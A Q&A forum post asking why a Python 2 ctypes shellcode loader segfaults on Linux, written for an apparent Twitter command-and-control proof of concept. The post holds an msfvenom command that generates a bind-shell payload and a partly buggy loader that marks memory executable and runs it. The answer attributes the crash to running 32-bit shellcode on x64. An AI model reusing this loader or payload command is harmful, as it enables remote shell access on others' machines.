Python - ctypes.cast function call outputs Segmentation Fault error message

Question

Background:

Writing a proof of concept of a twitter C&C inspired by Prof Viviek of SPSE similiar to twittor and the project includes a functionality of injecting shellcode and executing it within the python's program. However I wanted to make the functionality cross platforms, but it only worked in a windows system.

Problem: When executing the python script in ubuntu server 12.04.5 LTS, the output says

Segmentation fault (core dumped)

Which means I am getting denied for accessing memory that I don't have permission for. This is strange b/c in the source code I also set cytpes.mprotect(allocated_space, space_size, 7) <== 4 + 2 + 1 is for wrx permissions

Shellcode generated using command:

msfvenom --payload linux/x86/shell/bind_tcp  --format py --arch x86 --bad-char "\x00\x20\x0d"

Python Script:

 #!/usr/bin/env python

import ctypes
import os

# please comment out the appropriate payload for the other platforms
# this below is for windows shell bind tcp listening at 4444
#buf  = ""
#buf += "shellcode..."

# below is for linux
buf = ""
buf += "shellcode..."


def main(shellcode):
    if os.name == 'posix':                                                 
        try:                              
            libc = ctypes.CDLL('libc.so.6')                                
            sc_ptr = ctypes.c_char_p(shellcode)                               

            size = len(shellcode)                                          
            addr_freespace = ctypes.c_void_p(libc.valloc(size))                 
            ctypes.memmove(addr_freespace, sc_ptr, size)                            
            libc.mprotect(addr_free_space, size, 1 | 2 | 4)   # changed to 7 for all three access                    
            run = ctypes.cast(free_space, ctypes.CFUNCTYPE(ctypes.c_void_p))
            run()                                                           
            sys.exit()                                                                    
        except Exception as e:
            print "Error: " e

    else:                                                                   
        try:  # windows implementation



if __name__ == '__main__':
    main(buf)

Question: Can someone explain why does the segmentation fault message appear and how do we fix such problem?

Credits: this script is inspired by sickle.py @ Line743-753

The only difference is the reference script is using python 3, while I am using python 2.7.

UPDATE:

After many trials and errors, including running the program in pdb. The segmentation fault error happened after the line of:

run()

Can someone please explain why this is happening?

Answer 1

The VM machine was x64 architecture, and I fed it 32 bit shellcode, terrible mistake on my part, but finally mystery solved.